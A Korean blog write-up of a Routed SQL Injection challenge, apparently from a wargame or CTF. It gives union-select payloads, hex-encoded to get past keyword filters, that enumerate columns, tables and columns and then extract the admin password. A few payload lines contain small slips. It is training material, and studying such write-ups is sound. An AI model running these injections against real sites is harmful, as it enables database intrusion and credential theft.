반응형

Routed SQL Injection 문제입니다.

 

문제를 풀기 전, Routed SQL Injection이 무엇인지, 어떻게 발생하는지에 대해 조사해보았습니다.

위는 Routed SQL Injection이 발생하는 취약한 코드입니다.

현재 코드는 첫 번째 쿼리의 결과 값이 두 번째 쿼리의 입력 값으로 사용되고 있습니다.

SQL Injection을 발생 시키려면, sec_code(첫 번째 쿼리의 출력)인 두 번째 쿼리에 대한 입력을 제어할 수 있어야 합니다.

 

즉, 첫 번째 쿼리에서 SQL Injection이 발생하고, 이의 영향이 두 번째 쿼리에 미쳐 두번째 쿼리에서도 SQL Injection이 발생하는 경우Routed SQL Injection이라고 칭합니다.

 

문제를 풀어보도록 하겠습니다. 문제에 접속하면 첫 페이지에 로그인 창이 뜹니다.

그냥 [admin/admin]으로 로그인 시도해보았습니다.

 

그냥 "Wrong login/password"라는 오류 메시지만 출력됩니다. 

[Search] 탭을 클릭해봅니다.

 

[Search] 메뉴에서는 데이터베이스에 있는 계정을 검색할 수 있습니다.

admin을 검색했더니 ID는 3, email이 admin@sqli_me.com이라는 정보를 출력해주네요.

 

취약한 부분인지 판단하기 위해 싱글 쿼터(')를 삽입해보았습니다.

Syntax 에러가 발생하면서 에러 메시지가 출력되고 있습니다.

 

SQL Injection 할 경우 주로 사용되는 or, and 문자가 필터링되고 있어 Attack Detected 에러가 출력되고 있습니다.

그 대안으로 union select 구문을 이용해보았습니다.

 

'union select 1--+- 쿼리를 입력할 경우, 두 번째 쿼리 값을 1로 설정하고 있어, 두 번째 쿼리가 성공적으로 실행되어 결과 값 1에 대한 결과가 출력되고 있습니다. 첫 번째 값은 jean입니다.

 

'union select 2--+- 쿼리를 입력할 경우, 두 번째 쿼리 값을 2로 설정하고 있고, 값 2에 대한 결과가 출력되고 있습니다. 두 번째 값은 michel입니다.

 

'union select 3--+- 쿼리를 입력할 경우, 역시나 두 번째 쿼리 값을 3으로 설정하고 있고, 값 3에 대한 결과가 출력되고 있습니다. 세 번째 값은 admin입니다. (우리는 admin의 패스워드를 찾아야 합니다.)

 

'union select 3--+- 쿼리를 입력할 경우, 빈 데이터가 출력되었습니다. 세 개의 데이터를 가지고 있음을 확인할 수 있겠죠.

 

이제는 관리자(admin)의 패스워드를 찾기 위한 사전 정보를 수집해보겠습니다.

Step 1. 필드 수 파악

필드 수를 확인하기 위해 order by 구문을 사용하였습니다. 두 번째 쿼리에 'order by 1-- - 값을 넣을 때, 서버에 존재하는 문자열 필터링을 우회하기 위해 Ascii Hex 인코딩을 하였습니다.

 

'union select 0x276f7264657220627920312d2d202d--+- 쿼리를 입력할 경우, 빈 데이터가 출력됩니다.

 

숫자를 하나씩 증가시켜 보겠습니다. 두 번째 쿼리에 'order by 2-- - 쿼리를 넣었을 때도 마찬가지로 빈 데이터가 출력되지만 'order by 3-- - 쿼리를 넣으면 에러가 발생하고 있습니다.

 

'union select 0x276f7264657220627920332d2d202d--+- 쿼리를 입력할 경우, 에러가 출력되고 있기 때문에, 필드 수는 2개 임을 확인할 수 있습니다.

 

Step 2. 테이블명 파악

테이블 명을 파악하기 위해 두 번째 쿼리에 테이블 명을 반환하는 쿼리를 입력해보겠습니다. 두번째 쿼리에

'union select 1,(select table_name from information_schema.tables where table_type='base table')-- -

위의 평문 쿼리를 이용하여

 

'union select 0x276f7264657220627920332d2d202d27756e696f6e2073656c65637420312c2873656c656374207461626c655f6e616d652066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f747970653d2762617365207461626c6527292d2d202d--+- 쿼리를 입력할 경우, users라는 테이블 명이 출력되었습니다.

 

Step 3. 컬럼명 파악

컬럼 명을 파악하기 위해 두 번째 쿼리에 컬럼 명을 반환하는 쿼리를 입력해보겠습니다. 두번째 쿼리에

'union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users')-- -

위의 평문 쿼리를 이용하여

 

'union select 0x27756e696f6e2073656c65637420312c2873656c6563742067726f75705f636f6e63617428636f6c756d6e5f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73207768657265207461626c655f6e616d653d27757365727327292d2d202d--+- 쿼리를 입력할 경우, id, login, password, email라는 컬럼 명을 파악할 수 있습니다.

 

Step 4. 데이터 파악

마지막으로 관리자(admin)의 패스워드를 뽑아보도록 하겠습니다. 두 번째 쿼리에

'union select 1,(select password from users where email='admin@sqli_me.com')-- -

위의 평문 쿼리를 이용하여(admin을 검색할 경우 나왔던 email 값을 이용하였음)

 

'union select 0x27756e696f6e2073656c65637420312c2873656c6563742070617373776f72642066726f6d20757365727320776865726520656d61696c3d2761646d696e4073716c695f6d652e636f6d27292d2d202d--+- 쿼리를 삽입해 관리자의 패스워드, 즉 Flag 값 획득에 성공하였습니다.'

 


※ 참고 자료 ※

-http://www.securityidiots.com/Web-Pentest/SQL-Injection/routed_sql_injection.html

-https://improsec.com/tech-blog/routed-sql-injection

반응형

+ Recent posts